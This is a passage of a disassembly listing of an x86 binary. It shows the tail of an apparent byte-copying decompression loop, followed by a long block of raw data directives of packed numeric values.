inc edi loc_433BE4: ; CODE XREF: __u_____:00433B39j test edi, edi jz loc_433967 add dword ptr [ebp-0Ch], 2 loc_433BF0: ; CODE XREF: __u_____:00433C13j mov edx, [ebp-8] mov ecx, [ebp-18h] mov eax, edx sub eax, edi mov al, [eax+ecx] mov [edx+ecx], al inc edx dec dword ptr [ebp-0Ch] mov [ebp-1], al cmp dword ptr [ebp-0Ch], 0 mov [ebp-8], edx jle short loc_433C15 cmp edx, [ebp-28h] jb short loc_433BF0 loc_433C15: ; CODE XREF: __u_____:00433ACFj ; __u_____:00433C0Ej mov eax, [ebp-8] cmp eax, [ebp-28h] jb loc_4339BC jmp loc_433967 ; --------------------------------------------------------------------------- loc_433C26: ; CODE XREF: __u_____:0043396Ej pop ebx lodsd leave retn ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 7E107DBh, 7E107DEh, 6 dup(4000400h), 43F0420h, 43F045Dh dd 7 dup(4000400h), 400043Fh, 6 dup(4000400h), 74206BAh dd 6F80646h, 6 dup(4000400h), 45D043Fh, 420043Fh, 6 dup(4000400h) dd 43F0400h, 7 dup(4000400h), 62E0742h, 6BA06F8h, 6 dup(4000400h) dd 43F045Dh, 43F0420h, 6 dup(4000400h), 3E00400h, 40003E0h dd 6 dup(4000400h), 6F80653h, 74206BAh, 0Eh dup(4000400h) dd 17B01D3h, 170017Bh, 6 dup(4000400h), 400001Fh, 2 dup(4000400h) dd 4000420h, 40003C1h, 1F0400h, 40007D5h, 3 dup(4000400h) dd 400043Fh, 7E10400h, 40003C1h, 5 dup(4000400h), 400043Fh dd 5 dup(4000400h), 6BA06F8h, 6530742h, 3Eh dup(4000400h) dd 3E00400h, 40003E0h, 16h dup(4000400h), 17B0170h, 170017Bh dd 6 dup(4000400h), 4200400h, 2 dup(4000420h), 4000400h dd 4000420h, 3 dup(4000400h), 4000420h, 7 dup(4000400h) dd 4000420h, 0Fh dup(4000400h), 47A0400h, 400043Dh, 3E003A3h dd 4000400h, 2 dup(3E00400h), 3 dup(4000400h), 3FF03E0h dd 4000400h, 4200400h, 6 dup(4000400h), 3E00400h, 4200420h dd 3 dup(4000400h), 4000420h, 8 dup(4000400h), 4200400h dd 40003E0h, 4200400h, 2 dup(4000400h), 40003E0h, 4 dup(4000400h) dd 3E00400h, 0Ah dup(4000400h), 4200400h, 0Ah dup(4000400h) dd 43F0400h, 40003C1h, 3C10400h, 2 dup(4000400h), 3C10400h dd 5 dup(4000400h), 43F0400h, 0Bh dup(4000400h), 400043Fh dd 1Ah dup(4000400h), 3E00400h, 4200400h, 4000400h, 4000420h dd 2 dup(4000400h), 40003E0h, 4000400h, 3E00420h, 4000400h dd 40003E0h, 2 dup(4000400h), 4000420h, 4 dup(4000400h) dd 3E00400h, 14h dup(4000400h), 3A90400h, 38603E0h, 4200400h dd 3860400h, 4000400h, 4000420h, 4000400h, 3860400h, 40004E4h dd 4200400h, 4000420h, 40003E0h, 4000400h, 45D0400h, 400041Fh dd 3E003C1h, 4000400h, 4200400h, 4000420h, 40003E0h, 4000400h dd 45D0400h, 40003E2h, 3FF0420h, 0F1h dup(4000400h), 1F001Fh dd 80h dup(4000400h), 5E0400h, 4F03E0h, 4200400h, 1F0420h dd 4000400h, 2 dup(4000420h), 1F0400h, 2 dup(4000400h) dd 40003E0h, 4000400h, 40003E0h, 2 dup(4000400h), 1F0400h dd 4 dup(4000400h), 3E00400h, 3 dup(4000400h), 4200400h dd 6 dup(4000400h), 1F0400h, 9 dup(4000400h), 3E00400h dd 7 dup(4000400h), 4000420h, 0Dh dup(4000400h), 1F0400h dd 13h dup(4000400h), 4200400h, 0Eh dup(4000400h), 40003E0h dd 1Ch dup(4000400h), 1F0400h, 4490400h, 48B044Ch, 3F003B6h dd 3FB04CFh, 3F204E9h, 3C70304h, 484053Dh, 43F03F8h, 47D03DFh dd 40B04E2h, 3B3041Ah, 3F2046Bh, 4170402h, 4C60426h, 43203F4h dd 324040Ah, 5330424h, 531047Dh, 4020319h, 4D5049Ch, 3A303FBh dd 3F103E0h, 4660420h, 3890401h, 3F7046Eh, 438035Ch, 3F40417h dd 32A037Ah, 3B40418h, 3300466h, 437043Bh, 4730401h, 4100445h dd 3A9036Ch, 3950379h, 4300487h, 41C037Fh, 4370491h, 45E044Fh dd 3E003ABh, 341045Dh, 3A40415h, 416038Ch, 432047Ah, 3B4043Fh dd 3AF03F7h, 46A042Bh, 3B90362h, 4220410h, 425043Fh, 34C03D8h dd 4650428h, 42A03FBh, 45C03FBh, 4BD0364h, 3B402E8h, 4820360h dd 37B0439h, 3E10372h, 3E7050Eh, 44C04AEh, 40004C0h, 3CA04F6h dd 4E10432h, 355035Bh, 47803C9h, 3CA0374h, 40D049Eh, 3790346h dd 38502DAh, 43803E8h, 44C04F4h, 4210369h, 46E041Eh, 3B9044Dh dd 38503D0h, 4BB03E6h, 402048Bh, 31B04D2h, 41E04FBh, 41E03A7h dd 51603CFh, 44D02D9h, 3FF0451h, 4840470h, 4330402h, 3B003DAh dd 3DA04E2h, 46703A5h, 3CD04EFh, 3DF0427h, 49A03FFh, 447029Ch dd 47A0477h, 3F303CEh, 3F603ADh, 4340352h, 3C704AFh, 3E4038Ch dd 3A20499h, 4C0040Bh, 4950385h, 50103A8h, 38E03E2h, 46D0438h dd 30B03F0h, 483041Eh, 3990478h, 4DE0474h, 41A03CDh, 3E103FCh dd 42E0478h, 45303E3h, 40404B5h, 3AA032Dh, 4A9047Ch, 46A0443h dd 3A004BAh, 46C046Ah, 3C204DAh, 2EB03C6h, 399047Bh, 3B803D1h dd 4D40386h, 3E20457h, 39203C5h, 3990489h, 3F403E0h, 47C0400h dd 420046Dh, 40003C7h, 4000400h, 40003A3h, 4000400h, 3E00400h dd 4000400h, 400043Fh, 7 dup(4000400h), 40003C1h, 6Fh dup(4000400h) dd 4010400h, 2 dup(4000400h), 40003E0h, 7Ch dup(4000400h) dd 4C60400h, 41E0408h, 3E4034Fh, 45103CFh, 3590458h, 4C003BDh dd 40804ABh, 3D70479h, 39C041Eh, 4B103B0h, 3A90396h, 44D043Dh dd 3BC046Bh, 31303F1h, 4CB0327h, 2F703A1h, 378034Dh, 3DC0414h dd 35F0397h, 41903A8h, 45A0438h, 442034Eh, 4B40349h, 3D9032Dh dd 3DA046Fh, 38204A0h, 3E2040Dh, 3BF043Dh, 3E2039Bh, 33503A6h dd 3730401h, 387045Dh, 47F0339h, 4C0043Dh, 3D40387h, 42C0314h dd 3B6042Fh, 4310343h, 3B503E8h, 43C0404h, 43803ABh, 4AA0419h dd 3640336h, 41802F2h, 415041Eh, 3D903F5h, 41A05A3h, 3D80492h dd 47C04AFh, 42B0464h, 438049Ch, 3ED053Bh, 44303A2h, 3C2035Bh dd 42D0426h, 51603EEh, 4490466h, 3CB03F6h, 3AC032Eh, 36D050Eh dd 3BB048Fh, 48703C3h, 4CF045Bh, 4B9043Dh, 311031Eh, 35E043Dh dd 40403D9h, 35103A7h, 3DF0385h, 2CD03D6h, 49703A7h, 3EC03C4h dd 4DD052Dh, 3B60451h, 3250428h, 41103B3h, 4700453h, 2CE03B7h dd 48303F0h, 3930370h, 3F00388h, 439043Fh, 3F0046Dh, 3B30413h dd 31303A2h, 45003A8h, 41C03C9h, 49903B4h, 3980438h, 45103DDh dd 4D20489h, 47D048Fh, 46F03C6h, 43E03A0h, 3B803F5h, 3460440h dd 3D803DAh, 34E03CBh, 4AD040Ch, 46F0418h, 3D80459h, 2E2033Ah dd 4430436h, 4990378h, 49A0409h, 3F8037Ch, 3D3054Dh, 439043Fh dd 42D03EFh, 414040Ah, 44303DAh, 3E804D1h, 322032Eh, 3A503E1h dd 33803A1h, 43F03B0h, 32503D7h, 3670427h, 46803F4h, 4AB0367h dd 42D0426h, 381046Eh, 43503D9h, 4900377h, 46A03B4h, 45E03ABh dd 4A903D8h, 45C0501h, 45B0400h, 40003A3h, 4200400h, 7Dh dup(4000400h) dd 41F0400h, 3C103E0h, 4000400h, 43F0400h, 4000400h, 4000420h dd 7Ah dup(4000400h), 4780400h, 4400310h, 3C6041Ch, 33B04A3h dd 43603F5h, 3C9038Ch, 45A03EBh, 45C0415h, 3EA0302h, 2E40472h dd 3C00463h, 3C103D8h, 32B0416h, 46F03AEh, 3320395h, 4EE03B1h dd 3F0042Fh, 456049Bh, 427042Dh, 46C0408h, 3AD038Ch, 50602DEh dd 3C00337h, 46804A0h, 493046Dh, 4660401h, 3C70418h, 45B03E9h dd 3EE049Eh, 34803D0h, 307038Dh, 3C103F9h, 3E70407h, 3E20384h dd 4600478h, 47E03DFh, 433032Bh, 3A20402h, 4250460h, 359041Ah dd 4A8037Dh, 4330422h, 51504B2h, 3E90484h, 3FE0498h, 42104B1h dd 43C0371h, 3E5043Dh, 44D0477h, 38F0466h, 38A043Fh, 4C20483h dd 4350420h, 3CA03A9h, 347047Dh, 3EA042Ah, 3E10490h, 3E2041Dh dd 47103FCh dd 41E0376h, 38903E1h, 3CE0460h, 45604A5h, 3F403A7h, 562041Eh dd 3A304F0h, 4B6047Ah, 3D10383h, 462032Bh, 34D03FBh, 401044Bh dd 417040Eh, 3230403h, 3F204BBh, 2D50452h, 4DF0473h, 3DD04B8h dd 47003C8h, 552045Dh, 4010478h, 42904EDh, 3BD03FFh, 37E038Fh dd 3BD042Eh, 40B03F5h, 4910336h, 31303E1h, 46503DAh, 4040475h dd 3E40452h, 3A5049Fh, 36F03A5h, 3830427h, 42E0518h, 3160404h dd 3DD047Ah, 342050Fh, 42A0380h, 4E1040Eh, 2D303E6h, 4760437h dd 3E2045Bh, 3A803FDh, 39D0448h, 3F3041Ah, 4250432h, 521043Bh dd 3E40452h, 3D803C9h, 3A303ABh, 2F8043Fh, 4680397h, 39603DBh dd 3920414h, 31F0432h, 4D203C2h, 46A0371h, 39204B8h, 330030Ch dd 49C050Fh, 3E6038Dh, 41E03C4h, 36C03D4h, 492043Fh, 4740372h dd 35D041Ch, 46B0410h, 417038Fh, 4200400h, 42003C1h, 7Eh dup(4000400h) dd 4790400h, 2 dup(4000400h), 4000420h, 7Ch dup(4000400h) dd 40D0400h, 3B803F5h, 47303AFh, 3AC048Fh, 50003D1h, 43103E0h dd 46C03D8h, 4400393h, 3DF03ECh, 37E0367h, 431043Eh, 55A046Eh dd 2ED0435h, 41B0350h, 3090301h, 46E0371h, 4980358h, 32303DEh dd 30D03FEh, 4530332h, 2E80419h, 41E034Bh, 3920417h, 36103BAh dd 3B00343h, 3C2023Bh, 413046Ch, 4940433h, 4580504h, 4060491h dd 44B047Ah, 4450443h, 3B0033Ah, 3D30410h, 48E033Ch, 392043Fh dd 47704B8h, 38C03D7h, 42903C5h, 4B5051Ch, 45D03F4h, 3BC043Fh dd 37C0357h, 43A0419h, 41F04F1h, 44C03A3h, 483043Fh, 45803BEh dd 3C3044Bh, 4B304C4h, 3C803C5h, 446042Ah, 3730404h, 330041Ah dd 43B043Fh, 32603CDh, 36C03D9h, 3BA0352h, 3BC02B0h, 49204A3h dd 4280415h, 4200456h, 4750396h, 3D10410h, 3FB0438h, 3D304A0h dd 34F03F4h, 3D60319h, 3200447h, 41E03BFh, 45003E0h, 3CE0393h dd 41103FFh, 3EA03F0h, 4220438h, 373043Fh, 459044Fh, 36B03E9h dd 36B03F8h, 4670373h, 455047Dh, 3FA036Fh, 3E103BCh, 49A045Bh dd 4130493h, 3A30442h, 47B0479h, 41A041Bh, 47904ABh, 40103B2h dd 4990353h, 39D0443h, 42304A5h, 57C03B7h, 449041Fh, 45E03C1h dd 4360398h, 42D03A0h, 44B043Eh, 4330496h, 3DD0496h, 37F0337h dd 362039Fh, 38403A6h, 3E10484h, 40F038Ch, 3CB03A6h, 4460404h dd 3E603E2h, 42804D1h, 4A303E0h, 3E80404h, 3FF03FDh, 3F00462h dd 42A04C5h, 45B049Eh, 3520466h, 34A0445h, 4A70401h, 3CF03D4h dd 40204C2h, 4D003DDh, 4320333h, 4570471h, 47502D8h, 47D03FEh dd 44E0356h, 53E03EFh, 3FA0400h, 3E0043Fh, 7Eh dup(4000400h) dd 4010400h, 4000420h, 400043Fh, 7Dh dup(4000400h), 4430400h dd 37A0437h, 408048Ah, 4A00481h, 41F0415h, 43C047Eh, 43C0471h dd 3300375h, 4030413h, 39803CEh, 3D60393h, 3FF04BCh, 3C2049Ch dd 40B03ECh, 44603C1h, 46C045Dh, 351035Eh, 4790472h, 4B203C4h dd 358044Fh, 3E40368h, 3C4043Dh, 425051Bh, 39F0339h, 38F03C3h dd 33E03CBh, 3DF032Fh, 41F0413h, 38F044Ch, 45C03D0h, 49C039Eh dd 45003ECh, 3980319h, 41F046Ah, 3D703CBh, 46302EAh, 46E0402h dd 4CF03DFh, 45D0424h, 56E0393h, 49403E6h, 404040Bh, 4BF03F9h dd 4D90379h, 43D0435h, 45B03D6h, 45503E9h, 3D903BFh, 48803F5h dd 3AB03C3h, 38C045Eh, 3640515h, 3F1034Eh, 4850476h, 41A03BBh dd 32803D7h, 4DE04F2h, 3E804E1h, 43203E4h, 4A00386h, 41504D1h dd 2E803E3h, 3820300h, 48F0452h, 36D0313h, 2D90403h, 41C0501h dd 3E60425h, 44B040Ch, 42F043Dh, 3FC045Ch, 4570374h, 42E047Eh dd 457045Fh, 396037Ah, 41A0435h, 34E045Fh, 3C804C7h, 3D303F3h dd 43D0401h, 3AB04A3h, 3CE0508h, 4DB0421h, 49B0458h, 3B103C9h dd 34B0402h, 41A03D0h, 48F03C3h, 45103A8h, 3F80413h, 3BA041Eh dd 40D04E1h, 43303B2h, 39403A1h, 47F04B0h, 4160490h, 3FA038Eh dd 40203C0h, 3DA043Ch, 3980449h, 4BD043Fh, 39E042Bh, 4390370h dd 3C103B6h, 41004AFh, 42A0393h, 42104B5h, 4850384h, 3CF030Dh dd 475045Ah, 3F40431h, 3FD0469h, 3DF03F0h, 49004B4h, 3E803ABh dd 3E0041Dh, 41D04C2h, 3FA042Ah, 4DB036Ah, 3BF038Ch, 3590503h dd 3710378h, 41603F0h, 46A03ABh, 42B042Ch, 4760436h, 4D303D6h dd 385030Dh, 43B0400h, 4200420h, 42003E0h, 3E00400h, 4000400h dd 42003E0h, 7 dup(4000400h), 4200400h, 8 dup(4000400h) dd 3E00400h, 69h dup(4000400h), 3A30400h, 3FF03A3h, 3FF0400h dd 40003E0h, 2 dup(4000400h), 3E00400h, 4 dup(4000400h) dd 40003E0h, 0Fh dup(4000400h), 40003E0h, 1Ah dup(4000400h) dd 4200400h, 49h dup(4000400h), 44C0400h, 3570390h, 45B037Ah dd 3640441h, 4170405h, 35B03BEh, 3E40490h, 484047Ah, 34A053Ah dd 3E9041Dh, 41E04FDh, 4650455h, 4A70506h, 420041Eh, 4C9035Eh dd 492041Bh, 3F70391h, 4FD039Dh, 462032Bh, 3F80479h, 38702ECh dd 47E040Ah, 461040Dh, 473042Ah, 40E0379h, 47804B9h, 4A50465h dd 30503EDh, 45F04AFh, 3620424h, 3080415h, 3E80455h, 410035Bh dd 32804E4h, 3EA0411h, 42D04B0h, 3C503A7h, 42703F4h, 3CF0407h dd 49103C4h, 436034Ch, 3E3037Eh, 45A041Ah, 46203F4h, 49C0362h dd 4B504B9h, 42C03B5h, 46A03C7h, 3B90436h, 36C038Dh, 4770416h dd 4060370h, 3FE03D8h, 35403A9h, 4C00402h, 35F03E9h, 40404C5h dd 31C0458h, 44B0403h, 4740443h, 34F03C4h, 2EB03A3h, 43F0429h dd 3C903BEh, 4CC02FCh, 3C30431h, 44B03EAh, 4E803DFh, 459044Bh dd 389047Dh, 42003EAh, 38B05A6h, 402046Bh, 49A03C1h, 382032Ch dd 39F03DFh, 2C503E0h, 39E0497h, 3220489h, 46D039Ch, 4B00350h dd 3B903F4h, 476038Dh, 3EE03AAh, 38603D0h, 43003A0h, 45F0426h dd 42803ECh, 42C0411h, 3B40424h, 4520325h, 3BE0418h, 4C70473h dd 41F048Bh, 4CD03B1h, 41603E9h, 300036Dh, 3E0044Eh, 38B04ADh dd 4020374h, 3E20493h, 3E603FEh, 3D804D4h, 38C03CEh, 3C303DCh dd 45C03C7h, 3E9040Ch, 45104D2h, 38C0337h, 3AD037Ch, 358033Bh dd 492042Bh, 414033Dh, 4BF0432h, 41D0366h, 40903C7h, 31903B3h dd 526048Ch, 37703CEh, 35103C0h, 3B603EDh, 38803A8h, 44704B3h dd 345036Fh, 42D039Eh, 3C10388h, 38503F0h, 3BB0423h, 3C90400h dd 3C103E0h, 7Eh dup(4000400h), 3E00400h, 4000420h, 7Eh dup(4000400h) dd 3160400h, 44A0456h, 3BE03F8h, 3590415h, 3ED034Ch, 4C10347h dd 2FD0435h, 408045Dh, 473039Eh, 42E03E0h, 49C0558h, 4010406h dd 3B003E2h, 34F04DAh, 36103D7h dd 50A03F3h, 3BA0440h, 45E038Eh, 4350465h, 499041Fh, 3CB03BDh dd 3E304BDh, 41A0393h, 3C003E7h, 31D0494h, 39204D2h, 36C03FEh dd 39B03E2h, 3C403FFh, 3F6043Bh, 42903B9h, 43B040Dh, 3B20313h dd 43B03CEh, 48F03DBh, 3BD043Ah, 3E103EFh, 35204A6h, 4210446h dd 407048Dh, 35E04B3h, 40304DEh, 3AB0420h, 2F103E2h, 4070424h dd 39202B3h, 35003C8h, 3D803BBh, 3490331h, 31603E2h, 3A40538h dd 4F60418h, 3C20374h, 441039Dh, 4CB03C2h, 4530433h, 3890459h dd 45A03D3h, 4630434h, 49703E3h, 342043Dh, 318038Fh, 3DE03C1h dd 44A04F7h, 367039Ch, 39F0462h, 4BD03CBh, 4840437h, 4860397h dd 34D03CDh, 3D203B3h, 3C303B1h, 4210418h, 4AA03E0h, 3CD04BFh dd 3BD0459h, 3A30357h, 40203BBh, 36903C6h, 3780473h, 3D903ABh dd 3DB043Bh, 441048Ch, 4020420h, 3D60469h, 403033Eh, 3860466h dd 3FC0374h, 3E90355h, 4F2044Eh, 40D03D9h, 3DD04D2h, 37D0474h dd 2E70457h, 3EE0315h, 33403FFh, 41E046Bh, 3F90385h, 3A403C8h dd 3FF043Bh, 3FA03FFh, 40D044Dh, 35B041Bh, 48D03ADh, 32F0420h dd 35803FCh, 3AC0518h, 4140453h, 3A30436h, 38303A0h, 3F8046Bh dd 4020369h, 50D038Ah, 4AA04FDh, 4350448h, 4380412h, 3F403A3h dd 4190459h, 3E204C4h, 3E60424h, 43203DAh, 36A047Fh, 3B4043Eh dd 39103A3h, 3850440h, 4B60383h, 44B041Fh, 50E0421h, 43B0400h dd 40003E0h, 9 dup(4000400h), 4200400h, 75h dup(4000400h) dd 40003C1h, 3C10400h, 2 dup(4000400h), 3C10400h, 5 dup(4000400h) dd 3E00400h, 0Bh dup(4000400h), 3E00420h, 17h dup(4000400h) dd 4200400h, 50h dup(4000400h), 4A00400h, 3C10360h, 4050495h dd 47903E3h, 42A03A4h, 2CA0443h, 43B031Ch, 3FC03F4h, 33E0367h dd 3FA01F0h, 45C036Dh, 41D030Ch, 4A5040Fh, 3D00474h, 43C0407h dd 45803B2h, 3920374h, 3F904E6h, 410033Fh, 3190357h, 45303EAh dd 3C103BDh, 4F50443h, 3760371h, 48D03C3h, 46C0334h, 3F00438h dd 3DD04C5h, 47504ACh, 40603E9h, 4390437h, 367044Fh, 408039Bh dd 403043Ah, 37A036Eh, 41D0401h, 3350345h, 35903AEh, 39403BFh dd 3470447h, 49504E5h, 3EF03D9h, 43A03BBh, 4EB03FEh, 451040Fh dd 5290340h, 4E60464h, 4D70463h, 3E00364h, 4720460h, 44A03F9h dd 2A40414h, 4F204AEh, 373047Ch, 42F0412h, 3B40431h, 414043Eh dd 48203A2h, 42E0408h, 3AB0431h, 36803A4h, 4040393h, 4330366h dd 4A50469h, 4A203DFh, 45103F8h, 3A703CBh, 3BE04C5h, 411043Ch dd 3DB0423h, 4670498h, 3F503DAh, 41D04AFh, 43103F9h, 36E0428h dd 4C30474h, 44803F3h, 4A704ABh, 3C30372h, 3080414h, 3B903B0h dd 3CE0412h, 42F0358h, 483041Eh, 36F03D8h, 45A043Fh, 42D0418h dd 3C10411h, 30703F5h, 38604D1h, 4410364h, 44D0549h, 396045Eh dd 3CE033Ah, 3EE0446h, 4FB04F5h, 31C049Ah, 3C503B0h, 47A0382h dd 3A8038Fh, 5050439h, 31B044Ch, 48D03EAh, 457041Fh, 33D0464h dd 3030398h, 40203D2h, 35E045Ch, 3B4048Ah, 33C03C2h, 33C0469h dd 386030Ch, 3CB03CCh, 38A041Ah, 40304CBh, 429043Ch, 35C0357h dd 40B0431h, 342041Eh, 4740437h, 43103F8h, 36203E3h, 3A603EDh dd 48704C5h, 3DB03C7h, 349044Dh, 39203B6h, 457043Fh, 3C10400h dd 7Fh dup(4000400h), 3E00400h, 42003E0h, 4200400h, 7Dh dup(4000400h) dd 2FC0400h, 3B10351h, 4E20451h, 4200455h, 3F803CCh, 4050487h dd 4C00405h, 46303D9h, 41C0355h, 46B04E1h, 2AC043Eh, 34603D8h dd 4380432h, 3F10333h, 4F3044Ch, 3B7035Ch, 310035Bh, 3B8043Ah dd 4B50484h, 47103E7h, 3860433h, 38703FCh, 2BB0419h, 5240407h dd 402044Bh, 4080401h, 3A90477h, 4020404h, 3BE03F5h, 35F03E9h dd 3B20455h, 4D70490h, 373040Eh, 4870422h, 3720400h, 403041Eh dd 4310422h, 45F04D5h, 506038Ch, 3EC0386h, 3D90414h, 3BD0479h dd 4B9040Bh, 41E0504h, 39B045Ah, 4C50466h, 3B203DEh, 3B60497h dd 3450401h, 436035Bh, 377038Ah, 41E0401h, 3E20351h, 3D20401h dd 4000402h, 4BB03E5h, 45003DCh, 46803B5h, 3620405h, 32203E6h dd 3B00465h, 39C03E2h, 3A4048Dh, 34D03E8h, 41703A8h, 3A503CDh dd 45B04C6h, 3EB03E0h, 40D0472h, 3E90466h, 2B3048Fh, 3FE03ACh dd 3E00474h, 42D03E1h, 3DB0434h, 3FA0483h, 35D034Eh, 38604D7h dd 3DF04B3h, 367041Ch, 3E203A4h, 3FF03ABh, 43F034Eh, 4200486h dd 415043Eh, 3220423h, 389043Bh, 43703C1h, 3140355h, 4630384h dd 4BB039Bh, 4410421h, 48602E3h, 45D03E6h, 3A4038Ch, 43B03E2h dd 51804B0h, 42C0450h, 3B10476h, 45D03EFh, 3F30420h, 38F03E2h dd 43004EAh, 40003C7h, 4030491h, 4360414h, 4A003EEh, 4760424h dd 4570401h, 47703CEh, 40104EFh, 4D802FFh, 48503DEh, 4D6040Eh dd 48603A3h, 37203C6h, 5050441h, 49003F1h, 48903C7h, 3AF037Eh dd 48603FCh, 3D603E4h, 36B02CAh, 3BF0322h, 4010410h, 43904A2h dd 3140497h, 3370387h, 43D0400h, 40103C1h, 4000400h, 400043Fh dd 2 dup(4000400h), 4000401h, 2Ah dup(4000400h), 4200400h dd 4Eh dup(4000400h), 3C20400h, 4000420h, 0Ah dup(4000400h) dd 40003E0h, 0Bh dup(4000400h), 3E00400h, 4Ah dup(4000400h) dd 4000420h, 1Ch dup(4000400h), 4C10400h, 39B03D0h, 349046Bh dd 3D103A2h, 4230389h, 3920488h, 3E203A3h, 3CD0397h, 4F902EDh dd 3E003FCh, 3A30436h, 470049Fh, 37C0447h, 3D30474h, 43902D7h dd 39C0416h, 4030466h, 37303E3h, 4200453h, 4470433h, 31E0450h dd 396036Eh, 2F50478h, 30F0453h, 3CD0493h, 3FE0460h, 50003CAh dd 3A2048Fh, 3FE03D7h, 37E0417h, 4250486h, 3A403F1h, 4D203B5h dd 4700351h, 4C004BAh, 4090390h, 4650420h, 49603ADh, 3C40327h dd 41403C9h, 36B03BEh, 44104C9h, 4D5041Ch, 4B60465h, 3F404AEh dd 44305D0h, 440037Ch, 3D80300h, 37A04BBh, 3CC0449h, 41A0366h dd 36C041Fh, 3D304E9h, 3650387h, 3F80400h, 45703E8h, 4D10389h dd 4390454h, 3C60485h, 4BD0460h, 3D2041Ah, 477046Ah, 35D0334h dd 2C802F6h, 39D0309h, 3B10372h, 4790369h, 32B03CBh, 4CA0432h dd 42D048Bh, 45B0435h, 3370455h, 4060457h, 43A0396h, 4B4047Dh dd 4E6038Dh, 3C50415h, 3D90363h, 4C003C1h, 4880395h, 3FC040Ch dd 2EB0335h, 3A70498h, 4390437h, 3FA04A6h, 4A50441h, 3B6045Bh dd 4A90410h, 4240437h, 4B003F5h, 3E0043Fh, 4FA0473h, 43E0470h dd 36404A5h, 3E004B9h, 35C03F9h, 35F0386h, 362038Eh, 3F6036Ah dd 44A0419h, 3E003BEh, 33E034Dh, 3A80345h dd 43D0375h, 3760475h, 42103F9h, 3A40500h, 45D03B3h, 4DA04AAh dd 468049Ah, 4060469h, 38E03B1h, 3AD0415h, 4EF044Ah, 3E404B1h dd 45A0412h, 4970421h, 43C03EAh, 3710390h, 45703E2h, 4A00497h dd 42703E0h, 33C03F8h, 49C03C5h, 3B503B5h, 4A203B7h, 450036Eh dd 4B503AEh, 3C50400h, 2 dup(3E00400h), 7Dh dup(4000400h) dd 4200400h, 40003E0h, 7Eh dup(4000400h), 4AD0400h, 41A03F0h dd 3E203F0h, 44D032Fh, 3CF043Dh, 41C0433h, 3D803C5h, 41F0481h dd 434037Fh, 499039Ch, 43B04B9h, 3EB04D2h, 32E0389h, 4BB0439h dd 431042Ch, 30203D2h, 4460489h, 32603CCh, 3E80388h, 2EA0483h dd 36C03F8h, 43802EEh, 4AF03BFh, 3E0038Bh, 53E02EFh, 40603DEh dd 3FB03C6h, 36104D2h, 3CA048Eh, 48F03AFh, 3900384h, 40704B4h dd 3430482h, 3E204CBh, 4150407h, 39D0395h, 3360418h, 3E00401h dd 43E039Ah, 41D0475h, 42D035Ch, 40A0400h, 4170437h, 33904D5h dd 49404F9h, 4B10486h, 3AE038Eh, 3FB03D0h, 46503B5h, 34A0451h dd 385046Fh, 4B103CFh, 36B0460h, 36F04CAh, 3DD031Ch, 38C041Fh dd 3E00425h, 3E7040Fh, 4A303A7h, 43902EFh, 42003B8h, 32B041Ch dd 3F30411h, 3AE039Bh, 3CC0341h, 47D032Ch, 36D03BDh, 3CE0362h dd 3F60450h, 40A03ECh, 30103B5h, 3E503C1h, 3CA03CBh, 3A004E4h dd 4F503ADh, 47704DAh, 40A04CCh, 45B03DBh, 40D0382h, 3260433h dd 4A50404h, 3D80404h, 445031Ah, 468045Bh, 43D0487h, 447040Fh dd 40103FEh, 48804BFh, 2F403E2h, 36B0386h, 34C041Ah, 483036Dh dd 3F6048Ah, 4A80453h, 41104D4h, 42D03A3h, 439041Ch, 466041Eh dd 3530397h, 41503D1h, 43903D1h, 43A041Dh, 4B10475h, 51F0384h dd 4C10465h, 32D038Fh, 3F30458h, 50B03AFh, 3DF038Ah, 38803CDh dd 40B0400h, 32B0492h, 38D03D4h, 3E203F5h, 4180496h, 3970349h dd 41F03C2h, 3790439h, 3FE046Ch, 43C0418h, 44403FBh, 45D036Bh dd 4870427h, 3FF0421h, 3C903A6h, 4720471h, 47C0476h, 34D030Ah dd 41E0400h, 45D0420h, 2 dup(40003E0h), 2 dup(4000400h) dd 3E00400h, 79h dup(4000400h), 4520400h, 40003E0h, 4200400h dd 4000401h, 7Ch dup(4000400h), 3CE0400h, 40203E5h, 436043Fh dd 5420378h, 47003CBh, 40A042Eh, 3000352h, 3780343h, 35D0361h dd 51103A1h, 47804DBh, 4620476h, 3CE045Eh, 3AC0386h, 40F049Dh dd 363049Eh, 49E043Fh, 32103CDh, 40803DCh, 41E047Ch, 4240386h dd 3B1048Ch, 34C0456h, 3E604D3h, 3EB0455h, 4550369h, 3DB049Ah dd 4DB0420h, 40103F2h, 4040435h, 3CB04C2h, 436047Eh, 3E104C3h dd 40903BBh, 40A0433h, 4510366h, 49A0462h, 3CC03C3h, 3F50402h dd 43204E9h, 3450326h, 428041Ch, 43F04ADh, 33B0474h, 36E0365h dd 46A0442h, 44E040Bh, 4BB045Dh, 3C804BBh, 47003F1h, 3DE0318h dd 456039Bh, 478042Ah, 3F0045Ah, 3440490h, 47E04DDh, 3DA045Fh dd 44D0493h, 3CB03C1h, 4750347h, 30703C1h, 3B003EAh, 2F6046Ch dd 4020403h, 376036Ah, 36F0438h, 389038Fh, 4680396h, 3F5040Ah dd 47503D2h, 3CC03D7h, 36604DBh, 49C0491h, 3B1048Ch, 4380313h dd 4470409h, 33C044Dh, 3E30414h, 41B03E0h, 49B0401h, 47C045Dh dd 2E804D4h, 3900370h, 3AA04BCh, 39403F8h, 41C02D7h, 4F20457h dd 4B60484h, 3E603B5h, 45F02E7h, 42F04D1h, 3D4045Eh, 3E503E3h dd 3C10436h, 3BB03BDh, 4270473h, 37C03DAh, 3ED03CBh, 3DA037Bh dd 3AA03C1h, 45C0430h, 4950402h, 38F042Ch, 45903C0h, 35304D9h dd 48B0462h, 43703D9h, 467052Ah, 3E70376h, 4730391h, 4440438h dd 3D103D2h, 45B03E0h, 472050Fh, 3430442h, 41103ADh, 3BE043Bh dd 38703E4h, 41F0390h, 3FE04B1h, 33F0511h, 4BE0459h, 4C60451h dd 34803DBh, 45F03E4h, 46A03DFh, 3F8038Eh, 3A90465h, 3A30400h dd 4010400h, 7Eh dup(4000400h), 3E10400h, 2 dup(4000400h) dd 4000420h, 7Ch dup(4000400h), 3570400h, 3880461h, 499039Eh dd 45C0353h, 35104A9h, 4B60391h, 3C703FEh, 44A0494h, 44404ADh dd 4380317h, 42B03F0h, 3FF03A3h, 372033Bh, 4200344h, 3B903DBh dd 4F603E6h, 38C0392h, 35D045Dh, 32A046Dh, 3FF046Eh, 36A0400h dd 39A0412h, 3E60499h, 385040Ah, 3BC03E4h, 31C0401h, 49B040Dh dd 418041Ch, 3B404A0h, 51C03E7h, 4960498h, 543037Bh, 295031Ch dd 394040Ah, 4610447h, 3B503DDh, 490045Ah, 